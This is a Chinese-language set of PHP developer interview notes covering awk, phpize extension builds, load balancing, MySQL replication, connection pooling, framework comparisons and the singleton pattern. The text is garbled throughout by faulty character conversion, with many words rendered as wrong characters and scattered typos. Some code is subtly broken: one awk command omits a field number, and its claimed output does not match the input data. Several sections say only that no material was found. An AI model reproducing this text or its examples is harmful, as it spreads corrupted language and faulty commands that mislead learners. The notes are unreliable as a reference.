awk工做流程是這樣的:讀入有’\n’換行符分割的一條記錄,而後將記錄按指定的域分隔符劃分域,填充域,$0則表示全部域,$1表示第一個域,$n表示第n個域。默認域分隔符是」空白鍵」 或 「[tab]鍵」
awk的執行模式是: awk '{pattern + action}' {filenames}
awk的執行方式:
1.命令行方式
awk [-F field-separator] 'commands' input-file(s)
其中,commands 是真正awk命令,[-F域分隔符]是可選的。 input-file(s) 是待處理的文件。
在awk中,文件的每一行中,由域分隔符分開的每一項稱爲一個域。一般,在不指名-F域分隔符的狀況下,默認的域分隔符是空格。
2.shell腳本方式
將全部的awk命令插入一個文件,並使awk程序可執行,而後awk命令解釋器做爲腳本的首行,一遍經過鍵入腳本名稱來調用。
至關於shell腳本首行的:#!/bin/sh
能夠換成:#!/bin/awk
3.將全部的awk命令插入一個單獨文件,而後調用:
awk -f awk-script-file input-file(s)
其中,-f選項加載awk-script-file中的awk腳本,input-file(s)跟上面的是同樣的。
通常是喲你哦個命令行模式就能知足需求了。
這樣下面的一行文本:
abc def 123
dfg jik 234
在awk看來就是一個包含三個字段的記錄,能夠類比到mysql的一行記錄,只不過awk沒有一個mysql那麼強的scheme。
這樣好比咱們要抽出中間的那一行數據,假設文本保存爲文件 data.txt
awk '{print $2}'
很簡單,這樣就能夠打印出中間的字符def 和jik 了。
下面來一個點點複雜的:
Beth 4.00 0
Dan 3.75 0
kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18
對於這樣的數據
使用 awk '$3>0 { print $, $2 * $3 }' data.txt 這樣會輸出
Kathy 40
Mark 100
Mary 121
Susie 76.5
理解就是能夠在{}前面添加一個判斷的語句,只有符合條件的行纔會執行後面的語句。
進階
相對於print輸出,能夠使用printf進行格式化輸出:
awk -F ':' '{printf("filename:%10s,linenumber:%s,columns:%s,linecontent:%s\n",FILENAME,NR,NF,$0)}' /etc/passwd
print函數的參數能夠是變量、數值或者字符串。字符串必須用雙引號引用,參數用逗號分隔。若是沒有逗號,參數就串聯在一塊兒而沒法區分。這裏,逗號的做用與輸出文件的分隔符的做用是同樣的,只是後者是空格而已。
printf函數,其用法和c語言中printf基本類似,能夠格式化字符串,輸出複雜時,printf更加好用,代碼更易懂。
查看命令所在目錄
linux:
which ,whereis
which 用來查看當前要執行的命令所在的路徑。
whereis 用來查看一個命令或者文件所在的路徑,
本身編譯過 PHP 嗎?如何打開 readline 功能
沒玩過,暫無找到解釋。
如何查看 PHP 進程的內存、CPU 佔用
int memory_get_usage ([ bool $real_usage = false ] ):返回當前的內存消耗狀況,返回已使用內存字節數
一、查看服務器網卡流量、
sar -n DEV 2 10
二、查看CPU
Top
三、查看系統內存
free -m
四、查看當前系統中的全部進程,過濾出來php相關的進程
ps -ef | grep php
如何給 PHP 增長一個擴展
使用php的常見問題是:編譯php時忘記添加某擴展,後來想添加擴展,可是由於安裝php後又裝了一些東西如PEAR等,不想刪除目錄重裝,別說,php還真有這樣的功能。
我沒有在手冊中看到。
如我想增長bcmath支持,這是一個支持大整數計算的擴展。windows自帶並且內置,linux「本類函數僅在 PHP 編譯時配置了 --enable-bcmath 時可用」(引號內是手冊中的話)
幸虧有phpize,
方法是,要有與現有php徹底相同的php壓縮包。我用的是php-5.2.6.tar.gz。
展開後進入裏面的ext/bcmath目錄
而後執行/usr/local/php/bin/phpize,這是一個可執行的文本文件,要確保它在系統中
會發現當前目錄下多了一些configure文件,
若是沒報錯,則
Php代碼
./configure --with-php-config=/usr/local/php/bin/php-config
注意要先確保/usr/local/php/bin/php-config存在。
若是你的php安裝路徑不是默認的,要改。
若是沒有報錯,則make,再make install ,而後它告訴你一個目錄
你把該目錄下的bcmath.so拷貝到你php.ini中的extension_dir指向的目錄中,
修改php.ini,在最後添加一句extension=bcmath.so
重啓apache
-----------------------------------------
1、phpize是幹嗎的?
phpize是什麼東西呢?php官方的說明:
http://php.net/manual/en/install.pecl.phpize.php
phpize是用來擴展php擴展模塊的,經過phpize能夠創建php的外掛模塊
好比你想在原來編譯好的php中加入memcached或者ImageMagick等擴展模塊,能夠使用phpize,經過如下幾步工做。
2、如何使用phpize?
當php編譯完成後,php的bin目錄下會有phpize這個腳本文件。在編譯你要添加的擴展模塊以前,執行如下phpize就能夠了;
好比如今想在php中加入memcache擴展模塊:咱們要作的只是以下幾步
————————————————————————
tar zxvf memcache-2.2.5.tgz
cd memcache-2.2.5/
/usr/local/webserver/php/bin/phpize
./configure –with-php-config=/usr/local/webserver/php/bin/php-config
make
make install
————————————————————————
注意./configure 後面能夠指定的是php-config文件的路徑
這樣編譯就完成了,還須要作的是在php.ini文件中加入extension值
extension = 「memcache.so」
修改 PHP Session 存儲位置、修改 INI 配置參數
經過修改php配置文件即php.ini中的 session.save_path屬性值便可 ;
一般php.ini的位置在:
/etc目錄下或/usr/local/lib目錄下;
若是找不到,可經過phpinfo()方法輸出結果查看到。
php.ini位置修改方法以下: php.ini文件缺省放在/usr/local/lib上面,
能夠在編譯的時候使用--with-config-file-path參數來修改php.ini的存放位置。
例如,
你能夠使用--with-config-file-path=/etc
把php.ini存放到/etc下面,而後能夠從源碼包中拷貝php.ini-dist到/etc/php.ini。
具體修改ini的配置參數就不用多說了,每一行前面分號表示註釋,須要改值的直接修改等號右側值便可。
負載均衡有哪幾種,挑一種你熟悉的說明其原理
維基對負載均衡概念的解釋:
「負載均衡」是一種計算機技術,用來在多個計算機(計算機集羣)、網絡鏈接、CPU、磁盤驅動器或其餘資源中分配負載,以達到最優化資源使用、最大化吞吐率、最小化響應時間、同時避免過載的目的。 使用帶有負載平衡的多個服務器組件,取代單一的組件,能夠經過冗餘提升可靠性。負載平衡服務一般是由專用軟件和硬件來完成。 主要做用是將大量做業合理地分攤到多個操做單元上進行執行,用於解決互聯網架構中的高併發和高可用的問題。
翻了不少資料,大體都將負載均衡分爲這幾種:
HTTP重定向負載均衡。
這種負載均衡方案的優勢是比較簡單;
缺點是瀏覽器須要每次請求兩次服務器才能拿完成一次訪問,性能較差。
(2)DNS域名解析負載均衡。
優勢是將負載均衡工做交給DNS,省略掉了網絡管理的麻煩;
缺點就是DNS可能緩存A記錄,不受網站控制。
(3)反向代理負載均衡。
優勢是部署簡單;
缺點是反向代理服務器是全部請求和響應的中轉站,其性能可能會成爲瓶頸。
(4)IP負載均衡。
優勢:IP負載均衡在內核進程完成數據分發,較反向代理均衡有更好的處理性能。
缺點:負載均衡的網卡帶寬成爲系統的瓶頸。
(5)數據鏈路層負載均衡。
避免負載均衡服務器網卡帶寬成爲瓶頸,是目前大型網站所使用的最廣的一種負載均衡手段。
簡書上看到介紹負載均衡的原理的有文章(https://www.jianshu.com/p/da6e562fa3a6),
數據庫主從複製 M-S 是怎麼同步的?是推仍是拉?會不會不一樣步?怎麼辦
簡要解釋:
主服務器master記錄數據庫操做日誌到Binary log,從服務器開啓i/o線程將二進制日誌記錄的操做同步到relay log(存在從服務器的緩存中),另外sql線程將relay log日誌記錄的操做在從服務器執行。
更詳細的解釋:
1.Slave 上面的IO線程鏈接上 Master,並請求從指定日誌文件的指定位置(或者從最開始的日誌)以後的日誌內容;
2. Master 接收到來自 Slave 的 IO 線程的請求後,經過負責複製的 IO 線程根據請求信息讀取指定日誌指定位置以後的日誌信息,返回給 Slave 端的 IO 線程。返回信息中除了日誌所包含的信息以外,還包括本次返回的信息在 Master 端的 Binary Log 文件的名稱以及在 Binary Log 中的位置;
3. Slave 的 IO 線程接收到信息後,將接收到的日誌內容依次寫入到 Slave 端的Relay Log文件(mysql-relay-bin.xxxxxx)的最末端,並將讀取到的Master端的bin-log的文件名和位置記錄到master- info文件中,以便在下一次讀取的時候可以清楚的高速Master「我須要從某個bin-log的哪一個位置開始日後的日誌內容,請發給我」
4. Slave 的 SQL 線程檢測到 Relay Log 中新增長了內容後,會立刻解析該 Log 文件中的內容成爲在 Master 端真實執行時候的那些可執行的 Query 語句,並在自身執行這些 Query。這樣,實際上就是在 Master 端和 Slave 端執行了一樣的 Query,因此兩端的數據是徹底同樣的。
出現不一樣步通常是主從數據庫字符集字段等等有不徹底一致的地方或配置主從同步的過程當中有問題,再有可能就是數據量過大致使錯誤,具體狀況具體解決吧!
如何保障數據的可用性,即便被刪庫了也能恢復到分鐘級別。你會怎麼作。
暫時能想到的只有主從低延遲同步和創建多重有效可用備份了。
參考:甲骨文的一張ppt
數據庫鏈接過多,超過最大值,如何優化架構。從哪些方面處理?
原文連接
最直接的解決方法:修改 MySQL 安裝目錄下 my.ini 或者 my.cnf 文件內的 max_user_connections 參數的數值,重啓 MySQL 服務器。
一些可能的緣由:
1.相似人數、在線時間、瀏覽數等統計功能與主程序數據庫同屬一個數據空間時就很容易出現。
2.複雜的動態頁尤爲是用戶每次瀏覽都涉及到多數據庫或多表操做時候也很容易出現。
3.還有就是程序設計的不合理(好比複雜運算、等待等操做放置在數據庫交互行爲中間進行),或者程序存在釋放BUG。
4.計算機硬件配置過低卻安裝過高版、過高配置的MySQL。
5.未採用緩存技術。
6.數據庫未通過優化或表格設計及其複雜。
另一種數據庫鏈接池方向:原文連接
數據庫鏈接池(Connection pooling)是程序啓動時創建足夠的數據庫鏈接,並將這些鏈接組成一個鏈接池,由程序動態地對池中的鏈接進行申請,使用,釋放。建立數據庫鏈接是一個很耗時的操做,也容易對數據庫形成安全隱患。因此,在程序初始化的時候,集中建立多個數據庫鏈接,並把他們集中管理,供程序使用,能夠保證較快的數據庫讀寫速度,還更加安全可靠。
鏈接池基本的思想是在系統初始化的時候,將數據庫鏈接做爲對象存儲在內存中,當用戶須要訪問數據庫時,並不是創建一個新的鏈接,而是從鏈接池中取出一個已創建的空閒鏈接對象。使用完畢後,用戶也並不是將鏈接關閉,而是將鏈接放回鏈接池中,以供下一個請求訪問使用。而鏈接的創建、斷開都由鏈接池自身來管理。同時,還能夠經過設置鏈接池的參數來控制鏈接池中的初始鏈接數、鏈接的上下限數以及每一個鏈接的最大使用次數、最大空閒時間等等,也能夠經過其自身的管理機制來監視數據庫鏈接的數量、使用狀況等。以下圖:
數據庫鏈接池機制:
(1)創建數據庫鏈接池對象(服務器啓動)。
(2)按照事先指定的參數建立初始數量的數據庫鏈接(即:空閒鏈接數)。
(3)對於一個數據庫訪問請求,直接從鏈接池中獲得一個鏈接。若是數據庫鏈接池對象中沒有空閒的鏈接,且鏈接數沒有達到最大(即:最大活躍鏈接數),建立一個新的數據庫鏈接。
(4)存取數據庫。
(5)關閉數據庫,釋放全部數據庫鏈接(此時的關閉數據庫鏈接,並不是真正關閉,而是將其放入空閒隊列中。如實際空閒鏈接數大於初始空閒鏈接數則釋放鏈接)。
(6)釋放數據庫鏈接池對象(服務器中止、維護期間,釋放數據庫鏈接池對象,並釋放全部鏈接)。
數據庫鏈接池在初始化時,按照鏈接池最小鏈接數,建立相應數量鏈接放入池中,不管是否被使用。當鏈接請求數大於最大鏈接數閥值時,會加入到等待隊列!
數據庫鏈接池的最小鏈接數和最大鏈接數的設置要考慮到如下幾個因素:
最小鏈接數:是鏈接池一直保持的數據庫鏈接,因此若是應用程序對數據庫鏈接的使用量不大,將會有大量的數據庫鏈接資源被浪費.
最大鏈接數:是鏈接池能申請的最大鏈接數,若是數據庫鏈接請求超過次數,後面的數據庫鏈接請求將被加入到等待隊列中,這會影響之後的數據庫操做
若是最小鏈接數與最大鏈接數相差很大:那麼最早鏈接請求將會獲利,以後超過最小鏈接數量的鏈接請求等價於創建一個新的數據庫鏈接.不過,這些大於最小鏈接數的數據庫鏈接在使用完不會立刻被釋放,他將被放到鏈接池中等待重複使用或是空間超時後被釋放.
502 大概什麼什麼緣由? 如何排查 504呢?
前面說過各類錯誤碼的書面解釋了(飛機票),這裏再針對502,504引用一篇簡書小文章
502: Bad Gateway;504: Gateway Timeout;
從字面意思看來,都是由於Gateway發生了問題;什麼是Gateway,我的的理解就是對PHP這種腳本服務器而言,服務器的腳本執行程序(FastCGI服務)發生錯誤或者出現超時就會報502或者504。
典型的502錯誤是,若是PHP-CGI被卡住,全部進程都正在處理;那麼當新的請求進來時,PHP-CGI將沒法處理新的請求就會致使502出現;
而504的典型錯誤就像上文所述,PHP執行被阻塞住,致使nginx等服務遲遲收不到返回的數據,此時就會報504的錯誤。
=====================================架構篇=====================================
偏運維(瞭解):
負載均衡(Nginx、HAProxy、DNS)
前文已有敘述,此處補充HAProxy 原文連接
在大型系統設計中用代理在負載均衡是最多見的一種方式,而相對靠譜的解決方案中Nginx、HAProxy、LVS、F5在各大場中用得比較廣泛,各有各的優點和使用場景,因爲本次要使用到TCP,所以Nginx只能在HTTP層負載,所以用HAProxy來負載,爲何不用LVS?由於配置太麻煩。
HAProxy是免費、極速且可靠的用於爲TCP和基於HTTP應用程序提供高可用、負載均衡和代理服務的解決方案,尤爲適用於高負載且須要持久鏈接或7層處理機制的web站點。HAProxy還能夠將後端的服務器與網絡隔離,起到保護後端服務器的做用。HAProxy的負載均衡能力雖不如LVS,但也是至關不錯,並且因爲其工做在7層,能夠對http請求報文作深刻分析,按照本身的須要將報文轉發至後端不一樣的服務器(例如動靜分離),這一點工做在4層的LVS沒法完成。
主從複製(MySQL、Redis)
前文
數據冗餘、備份(MySQL增量、全量 原理)
數據冗餘:數據冗餘是指數據之間的重複,也能夠說是同一數據存儲在不一樣數據文件中的現象。能夠說增長數據的獨立性和減小數據冗餘是企業範圍信息資源管理和大規模信息系統得到成功的前提條件。數據冗餘或者信息冗餘是生產、生活所必然存在的行爲,沒有好與很差的整體傾向。
增量、全量、差別備份理解和區別參考文章
監控檢查(分存活、服務可用兩個維度)
暫無資料
MySQL、Redis、Memcached Proxy 、Cluster 目的、原理
暫無資料(不太理解題目意思)
分片
按照數據庫分片理解:
分片(sharding)是數據庫分區的一種,它將大型數據庫分紅更小、更快、更容易管理的部分,這些部分叫作數據碎片。碎片這個詞意思就是總體的一小部分。
Jason Tee表示:「簡言之,分片(sharding)數據庫須要將數據庫(database)分紅多個沒有共同點的小型數據庫,且它們能夠跨多臺服務器傳播。」
技術上來講,分片(sharding)是水平分區的同義詞。在實際操做中,這個術語經常使用來表示讓一個大型數據庫更易於管理的全部數據庫分區。
分片(sharding)的核心理念基於一個想法:數據庫大小以及數據庫上每單元時間內的交易數呈線型增加,查詢數據庫的響應時間(response time)以指數方式增加。
另外,在一個地方建立和維護一個大型數據庫的成本會成指數增加,由於數據庫將須要高端的計算機。相反地,數據碎片能夠分佈到大量便宜得多的商用服務器上。就硬件和軟件要求而言,數據碎片相對來講沒什麼限制。
在某些狀況中,數據庫分片(sharding)能夠很簡單地完成。按地理位置拆分用戶數據庫就是一個常見的例子。位於東海岸的用戶被分到一臺服務器上,在西海岸的用戶被分在另外一臺服務器上。假設沒有用戶有多個地理位置,這種分區很易於維護和建立規則。
可是數據分片(sharding)在某些狀況下會是更爲複雜的過程。例如,一個數據庫持有不多結構化數據,分片它就可能很是複雜,而且結果碎片可能會很難維護。
高可用集羣
高可用集羣(High Availability Cluster,簡稱HA Cluster),是指以減小服務中斷時間爲目的的服務器集羣技術。它經過保護用戶的業務程序對外不間斷提供的服務,把因軟件、硬件、人爲形成的故障對業務的影響下降到最小程度。
簡單說就是:保證服務不間斷地運行,好比,在淘寶網何時均可以上去買東西,微信隨時能夠打開發消息聊天。
RAID
按照硬盤RAID理解:簡單地說, RAID 是由多個獨立的高性能磁盤驅動器組成的磁盤子系統,從而提供比單個磁盤更高的存儲性能和數據冗餘的技術。 RAID 是一類多磁盤管理技術,其向主機環境提供了成本適中、數據可靠性高的高性能存儲。(知乎討論頁)
源代碼編譯、內存調優
暫無資料
緩存
工做中遇到哪裏須要緩存,分別簡述爲何
登陸註冊時向用戶手機號發送的短信驗證碼是暫存redis的;
支付寶推送消息鎖:用於在接收支付寶推送的異步通知消息時,第一次推送後如正確接收就利用redis上鎖,第二次推送時判斷已經上鎖就再也不接收了,避免數據形成重複。
通常我使用redis的狀況是隻有極少數字段,且不用長期存儲,在編碼中可能多個方法多個類都要用到,爲了方便寫入讀取而用。
搜索解決方案
其實不太懂這個意思,可是感受這篇文章應該有點關聯性
性能調優
各維度監控方案
標題連接不是很切題但比較易懂。
日誌收集集中處理方案
資料不是不少。
國際化
在信息技術領域,國際化與本地化(英文:internationalization and localization)是指修改軟件使之能適應目標市場的語言、地區差別以及技術須要。
國際化是指在設計軟件,將軟件與特定語言及地區脫鉤的過程。當軟件被移植到不一樣的語言及地區時,軟件自己不用作內部工程上的改變或修正。本地化則是指當移植軟件時,加上與特定區域設置有關的信息和翻譯文件的過程。
國際化和本地化之間的區別雖然微妙,但卻很重要。國際化意味着產品有適用於任何地方的「潛力」;本地化則是爲了更適合於「特定」地方的使用,而另外增添的特點。用一項產品來講,國際化只需作一次,但本地化則要針對不一樣的區域各作一次。這二者之間是互補的,而且二者合起來才能讓一個系統適用於各地。
數據庫設計
很少說了。
靜態化方案
https://github.com/zhongxia245/blog/issues/39
https://blog.csdn.net/guchuanyun111/article/details/52056236
畫出常見 PHP 應用架構圖
未找到資料。
========================框架篇=======================================
ThinkPHP(TP)、CodeIgniter(CI)、Zend(非 OOP 系列)
ThinkPHP是一個快速、簡單的基於MVC和麪向對象的輕量級PHP開發框架,遵循Apache2開源協議發佈,自2006年誕生以來一直秉承簡潔實用的設計原則,在保持出色的性能和至簡代碼的同時,尤爲注重開發體驗和易用性,而且擁有衆多的原創功能和特性,爲WEB應用和API開發提供了強有力的支持。
CodeIgniter 是一套給 PHP 網站開發者使用的應用程序開發框架和工具包。 它的目標是讓你可以更快速的開發,它提供了平常任務中所需的大量類庫, 以及簡單的接口和邏輯結構。經過減小代碼量,CodeIgniter 讓你更加專一 於你的創造性工做。
Zend Framework 2是一個基於*PHP* 5.3+開源的WEB程序開源框架, 框架100%`object-oriented`_,使用了大量的PHP5.3的新功能和特性, 包括`namespaces`_, late static binding, lambda functions and closures。
對比:
1、ThinkPHP
ThinkPHP(FCS)是一個輕量級的中型框架,是從Java的Struts結構移植過來的中文PHP開發框架。它使用面向對象的開發結構和MVC模式,而且模擬實現了Struts的標籤庫,各方面都比較人性化,熟悉J2EE的開發人員相對比較容易上手,適合php框架初學者。 ThinkPHP的宗旨是簡化開發、提升效率、易於擴展,其在對數據庫的支持方面已經包括MySQL、MSSQL、Sqlite、PgSQL、 Oracle,以及PDO的支持。ThinkPHP有着豐富的文檔和示例,框架的兼容性較強,可是其功能有限,所以更適合用於中小項目的開發。
優勢
1.藉助成熟的Java思想
2.易於上手,有豐富的中文文檔;學習成本低,社區活躍度高
3.框架的兼容性較強,PHP4和PHP5徹底兼容、徹底支持UTF8等。
4.適合用於中小項目的開發
5.從thinkphp3.2.2引入composer包管理工具
缺點
1.對Ajax的支持不是很好;
2.目錄結構混亂,相比其餘框架目錄結構要差一點;
3.上手容易,可是深刻學習較難。
2、CodeIgniter
優勢:
1.CodeIgniter推崇「簡單就是美」這一原則。沒有花哨的設計模式、沒有華麗的對象結構,一切都是那麼簡單。幾行代碼就能開始運行,再加幾 行代碼就能夠進行輸出。可謂是「大道至簡」的典範。
2.配置簡單,所有的配置使用PHP腳原本配置,執行效率高;
3.具備基本的路由功能,可以進行必定程度的路由;
4.具備初步的Layout功能,可以製做必定程度的界面外觀;
5.數據庫層封裝的不錯,具備基本的MVC功能.
6.快速簡潔,代碼很少,執行性能高,
7.框架簡單,容易上手,學習成本低,文檔詳細;
8.自帶了不少簡單好用的library,框架適合小型應用.
缺點:
1.自己的實現不太理想。
2.內部結構過於混亂,雖然簡單易用,但缺少擴展能力。
3.把Model層簡單的理解爲數據庫操做.
4.框架略顯簡單,只可以知足小型應用,略微不太可以知足中型應用須要.
3、Zend Framework
優勢:
1.大量應用了PHP5中面向對象的新特徵:接口、異常、抽象類、SPL等等。這些東西的應用讓Zend Framework具備高度的模塊化和靈活性
2.嚴格遵循「針對接口編程」和「單一對象職責」等原則
3.官方出品,自帶了很是多的library,框架自己使用了不少設計模式來編寫,架構上很優雅,執行效率中等
4.MVC設計,比較簡潔
5.具備路由功能,配置文件比較強大(可以處理XML和php INI)
6.可以直觀的支持除數據庫操做以外的Model層(比 CodeIgniter 和 CakePHP 強),而且可以很輕易的使用Loader功能加載其餘新增長的Class
7.Cache功能很強大,從前端Cache到後端Cache都支持,後端Cache支持Memcache、APC、SQLite、文件等等方式
8.數據庫操做功能很強大,支持各類驅動(適配器)
9.文檔很全,在國內社區很成熟
缺點:
1.MVC功能完成比較弱,View層簡單實現(跟沒實現同樣),沒法很強大的控制前端頁面.
2.沒有自動化腳本,建立一個應用,包括入口文件,所有必須本身手工構建,入門成本高
3.對於簡單和小型的項目來講,反而由於在框架中應用了大量面向對象設計,對開發者提出了更高的要求,間接增長了項目的開發成本
評價:
做爲官方出品的框架,Zend Framework的野心是能夠預見的,想把其餘框架擠走,同時封裝不少強大的類庫,可以提供一站式的框架服務,而且他們的開發團隊很強大,徹底足夠有能力開發很強大的產品出來,因此基本能夠肯定的是Zend Framework前途無量,若是花費更多的時間去完善框架。一樣的,Zend Framework架構自己也是比較優雅的,說明Zend官方是有不少高手的,設計理念上比較先進,雖然有一些功能實現的不夠完善,好比View層,自動化腳本等等,這些都有賴於將來的升級
Yaf、Phalcon(C 擴展系)
Yaf是一個C語言編寫的框架,主要特性以下(摘自鳥哥網站):
1. 用C語言開發的PHP框架, 相比原生的PHP, 幾乎不會帶來額外的性能開銷.
2. 全部的框架類, 不須要編譯, 在PHP啓動的時候加載, 並常駐內存.
3. 更短的內存週轉週期, 提升內存利用率, 下降內存佔用率.
4. 靈巧的自動加載. 支持全局和局部兩種加載規則, 方便類庫共享.
5. 高性能的視圖引擎.
6. 高度靈活可擴展的框架, 支持自定義視圖引擎, 支持插件, 支持自定義路由等等.
7. 內建多種路由, 能夠兼容目前常見的各類路由協議.
8. 強大而又高度靈活的配置文件支持. 並支持緩存配置文件, 避免複雜的配置結構帶來的性能損失.
9. 在框架自己,對危險的操做習慣作了禁止.
10. 更快的執行速度, 更少的內存佔用.
Phalcon 是一個基於 MVC 的 PHP 框架。與其餘框架相比,它使用的資源很是少,轉化爲 HTTP 請求可以很是快速的處理,對於不提供太多消耗的系統的開發人員來講,這是很是重要的。
Phalcon 爲開發人員提供數據存儲工具,例如其本身的 SQL 方言:PHQL,以及 MongoDB 的對象文檔映射。其餘功能包括模板引擎,表單構建器,易於構建具備國際語言支持的應用程序等等。Phalcon 是構建性能 REST API 以及完整的 Web 應用程序的理想選擇。
優:
低開銷
自動裝載
獨特,由於它是基於C擴展
內置很是好的安全功能
文檔完備
開發人員友好
劣:
不像 Laravel 那樣開源
Bug 須要等待官方修復
不適用於 HHVM
Yii、Laravel、Symfony(純 OOP 系列)
Yii:
Yii 是一個基於組件的高性能php框架,用於開發大型Web應用。Yii採用嚴格的OOP編寫,並有着完善的庫引用以及全面的教程。從 MVC,DAO/ActiveRecord,widgets,caching,等級式RBAC,Web服務,到主題化,I18N和L10N,Yii提供了 今日Web 2.0應用開發所須要的幾乎一切功能。事實上,Yii是最有效率的PHP框架之一。
優勢
1.純OOP
2.用於大規模Web應用
3.模型使用方便
4.開發速度快,運行速度也快。性能優異且功能豐富
5.使用命令行工具。
6.支持composer包管理工具
缺點:
1.對Model層的指導和考慮較少
2.文檔實例較少
3.英文太多
4.要求PHP技術精通,OOP編程要熟練!
5.View並非理想view,理想中的view可能只是html代碼,不會涉及PHP代碼。
Laravel:
優勢
1.laravel的設計思想是很先進的,很是適合應用各類開發模式TDD, DDD 和BDD
2.支持composer包管理工具
3.集合了php 比較新的特性,以及各類各樣的設計模式,Ioc 容器,依賴注入等。
缺點
1.基於組件式的框架,因此比較臃腫
Symfony:
優勢:
1.完整實現了MVC三層
2.封裝了全部東西,包括 $POST,$GET 數據,異常處理,調試功能,數據檢測
3.包含強大的緩存功能
4.自動加載Class,可以很隨意的定義各類本身的class
5.強大的語言支持
6.具備很強大的view層操做,可以零碎的包含單個多個文件
7.很是強大的配置功能,使用xml配置可以控制全部框架和程序運行行爲
8.包含強大的多層級項目和應用管理:Project --> Application --> Module --> Action,可以知足一個項目下多個應用的須要,而且每層能夠定義本身的類庫,配置文件,layout
9.很是強大的命令行操做功能,包括創建項目、創建應用、創建模塊、刷新緩存等等
10.Symfony絕對是開發大型複雜項目的首選,由於使用了Symfony,將大大節約開發成本,而且多人協做的時候,不會出現問題,在Project級別定義好基礎Class之後,任何模塊都可以重用,大大複用代碼.
缺點:
1.最大的問題也在於使用了太多風格迥異的開源項目來組合成框架
2.因爲Mojavi和Propel自己都至關複雜,所以Symfony的結構很是複雜,難以理解和學習
3. 緩存功能沒法控制,每次開發調試老是緩存,須要執行 symfony cc,symfony rc來清除和重建緩存
4.效率不是很高,特別是解析模板和讀取配置文件的過程,花費時間很多
5.學習成本很高,而且國內沒有成熟的社區和中文文檔
評價:
Symfony絕對是企業級的框架,惟一可以貌似可以跟Java領域哪些強悍框架抗衡的東西;強悍的東西,天然學習複雜,可是相應的對項目開發也比較有幫助,天然是推薦複雜的項目使用Symfony來處理,以爲是值得,後期的維護成本比較低,複用性很強。相應的若是使用Symfony的應該都是比較複雜的互聯網項目,那麼相應的就要考慮關於數據庫分佈的問題,那麼就須要拋棄Symfony自帶的數據庫操做層,須要本身定義,固然了,Symfony支持隨意的構造model層
Swoole、Workerman (網絡編程框架)
套用知乎上還算比較全面的一段分析吧:
安裝和環境需求:
1.一、swoole是c寫的php擴展,須要有一個安裝擴展的過程,可是workerman爲了性能,也須要安裝event擴展。因此複雜度都差很少。
1.二、韓老師所說的「外部依賴上workerman須要依賴不少額外的第三方PHP擴展來實現,侷限性比較大,這些擴展並不是是PHP官方維護的,維護性方面參差不齊,有些擴展連PHP7都不支持,數年沒人維護」是不存在的。workerman一共只須要2個擴展,pcntl擴展和posix擴展,兩個擴展都不是什麼參差不齊,PHP7不支持。我本人就是在php7.0安裝的swoole和workerman,而且這兩個擴展是原來就存在的。若是說使用擴展很差的話,swoole本身就是擴展呀。
2.文檔方面:
2.一、swoole一共有3種文檔:中文wiki版,英文版,英文git版。不要要求swoole能把文檔寫好,只要能寫全了佛祖保佑吧。中文版個人體驗不太好,主要是不夠新,文檔結構很亂。英文版多是由英文git版生成的,可是缺乏大塊的內容。英文git版應該是比較全的,只發現少許的url 404錯誤,可是能夠本身去源碼中找回。我建議swoole新手把git版英文版、中文版文檔結合着看。建議新手不要對官方文檔期質量待太高,只看中文版,那你會掉坑裏。一方面以爲新手不夠高級每天掉坑,另外一方面文檔又不給解釋清楚怎麼用,總感受到哪裏不對是否是?若是你天真的去官網提出你的想法,嗯,你會遇到一個傲慢的老者讓你翻看《舊約》100頁後再來提意見。
2.二、workerman就簡單多了。中英文兩個文檔,結構清晰,整個框架有什麼東西一目瞭然。可是workerman框架原本就內容不多。workerman官網有個很是噁心的地方,進入網頁會一聲巨響,並且每次進入都會巨響。
3.內容:
3.一、swoole:多是由於要進行更高定製化的網絡編程 ,swoole包含了一些相對於通常php-fpm編程中見不到的進程、線程等概念和解決方案,還包括某些異步IO場景的解決方案。2.x還包含了協程概念,想要一次性跨過node.js 這種異步語言所經歷的callback地獄的黑暗時期。官方的定位是《使 PHP 開發人員能夠編寫高性能的異步併發 TCP、UDP、Unix Socket、HTTP,WebSocket 服務》。也就是說,swoole不光是提供瞭解決方案,還要改變你的編程習慣。
3.二、workerman:提供高併發的tcp/udp/websocket/http server和client端解決方案。官方的定位是《開源高性能的PHP socket 服務器框架》。
3.三、二者都是常駐內存,也就是都用php命令行啓動應用。不是傳統的php-fpm場景。
4.使用習慣:
4.一、swoole的這些概念看似高大上,可用起來會發現,限制還挺多的,具體本身體驗吧。並且設計思路好像不太同樣,每種技術解決方案都用各自的思路,用戶總體使用起來會感受到不夠連貫。我猜測c程序員或java程序員用起來應該沒有障礙,由於他們開始就必須考慮內存常駐、進程通訊、內存使用等問題。
4.二、workerman:很是簡單易用,整個框架就一個worker概念,使用起來就是worker裏套worker,或者worker和worker通訊。用戶根本不須要過多考慮進程或併發的細節,傳統的php-fpm(擴展,php-fpm什麼鬼)程序員一用就會。
5.也許之後會有真正使用後的深度使用評測、性能評測。二者均可以作高性能網絡服務,但二者思路不同,內容不同,我想二者的最終目的確定更不會同樣,有些地方是沒有可比性的。本人是一個小學生,水平太次,有讓誰不高興的地方,歡迎來噴,我喜歡看到別人真實的觀點,固然也能夠忽略我,畢竟高手太多了。
對比框架區別幾個方向點
是否純 OOP
類庫加載方式(本身寫 autoload 對比 composer 標準)
易用性方向(CI 基礎框架,Laravel 這種就是高開發效率框架以及基礎組件多少)
黑盒(相比 C 擴展系)
運行速度(如:Laravel 加載一大堆東西)
內存佔用
=================================設計模式======================================
單例模式(重點)
單例模式(singleton)有三個特色
一、一個類只能有一個實例
二、它必須自行建立這個實例
三、它必須自行向整個系統提供這個實例意圖:保證一個類僅有一個實例,並提供一個訪問它的全局訪問點。
主要解決:一個全局使用的類頻繁地建立與銷燬。
什麼時候使用:當您想控制實例數目,節省系統資源的時候。
如何解決:判斷系統是否已經有這個單例,若是有則返回,若是沒有則建立。
關鍵代碼:構造函數是私有的。
應用實例: 一、一個黨只能有一個書記。 二、Windows 是多進程多線程的,在操做一個文件的時候,就不可避免地出現多個進程或線程同時操做一個文件的現象,因此全部文件的處理必須經過惟一的實例來進行。 三、一些設備管理器經常設計爲單例模式,好比一個電腦有兩臺打印機,在輸出的時候就要處理不能兩臺打印機打印同一個文件。
優勢: 一、在內存裏只有一個實例,減小了內存的開銷,尤爲是頻繁的建立和銷燬實例(好比管理學院首頁頁面緩存)。 二、避免對資源的多重佔用(好比寫文件操做)。
缺點:沒有接口,不能繼承,與單一職責原則衝突,一個類應該只關心內部邏輯,而不關心外面怎麼樣來實例化。
